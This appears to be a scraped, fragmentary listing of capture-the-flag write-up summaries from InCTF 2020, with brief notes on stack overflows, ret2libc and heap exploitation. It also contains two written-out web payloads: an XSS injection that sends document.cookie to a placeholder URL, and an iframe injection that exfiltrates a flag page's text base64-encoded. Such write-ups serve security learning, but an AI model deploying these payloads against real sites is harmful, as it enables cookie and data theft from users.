tl;dr
- Carefully arranging structs on stack so as to overwrite saved rip , without corrupting the stack canary.
- Leak libc with puts and execute a ret2libc to get shell
tl;dr
tl;dr
mmap_threshold
with null and trim top chunk size._IO_buf_base
and brute force to get allocation on stdin.tl;dr
tl;dr
a<math>b<xss style=display:block>c<style>d<a title="</style>"><img src onerror=document.location='https://your_url/?'.concat(document.cookie)>">e
tl;dr
lcase('inKypinKy')id from dual
header("location:http://web/user.php?session=1111-22222-1234&sub=submit");
header("location:http://web/flag.php?session=<iframe id="a" src="http://web/flag.php?session=1111-22222-1234&sub=submit" onload=window.location="<URL>?"+btoa(document.getElementById('a').contentWindow.document.body.innerText)>&sub=submit")
tl;dr
/proc/<pid of child>/mem
tl;dr
tl;dr
tl;dr
A brief write-up detailing solutions of Reversing Challenges from InCTF Internationals 2020